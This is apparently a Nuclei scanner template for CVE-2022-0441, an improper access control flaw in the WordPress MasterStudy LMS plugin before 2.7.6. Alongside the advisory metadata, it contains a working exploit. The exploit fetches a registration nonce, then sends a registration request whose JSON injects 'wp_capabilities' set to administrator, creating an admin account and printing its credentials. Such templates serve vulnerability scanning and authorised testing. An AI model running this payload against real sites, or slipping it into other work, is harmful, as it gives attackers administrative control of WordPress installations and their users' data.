MasterStudy LMS <2.7.6 - Improper Access Control

id: CVE-2022-0441

info:
  name: MasterStudy LMS <2.7.6 - Improper Access Control
  author: dwisiswant0,theamanrawat
  severity: critical
  description: |
    WordPress MasterStudy LMS plugin before 2.7.6 is susceptible to improper access control. The plugin does not validate some parameters given when registering a new account, which can allow an attacker to register as an admin, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially compromising user data and system integrity.
  remediation: |
    Upgrade to the latest version of the MasterStudy LMS plugin (2.7.6 or higher) to fix the improper access control issue.
  reference:
    - https://wpscan.com/vulnerability/173c2efe-ee9c-4539-852f-c242b4f728ed
    - https://wordpress.org/plugins/masterstudy-lms-learning-management-system/
    - https://plugins.trac.wordpress.org/changeset/2667195
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0441
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0441
    cwe-id: CWE-269,NVD-CWE-Other
    epss-score: 0.18749
    epss-percentile: 0.95799
    cpe: cpe:2.3:a:stylemixthemes:masterstudy_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: stylemixthemes
    product: masterstudy_lms
    framework: wordpress
  tags: cve2022,cve,wordpress,wp-plugin,wpscan,wp,unauth,stylemixthemes
variables:
  username: "{{to_lower(rand_text_alphanumeric(6))}}"
  password: "{{rand_text_alphanumeric(12)}}"
  user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"user_login":"{{username}}","user_email":"{{user_email}}","user_password":"{{password}}","user_password_re":"{{password}}","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'Registration completed successfully'
          - '"status":"success"'
        condition: and

      - type: word
        part: header_2
        words:
          - application/json;

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '"stm_lms_register":"([0-9a-z]+)"'
        internal: true

      - type: kval
        kval:
          - user_email
          - password
# digest: 4b0a00483046022100bfd3fbcdc845d57ab6213fe730d902e6d4a0b0f419c15efebfaedf046ae2afd8022100b3ab76e530d94f01a9c3690f6370d343f83684d5ef1a6baa10aa701236a95af5:922c64590222798bb761d5b6d8e72950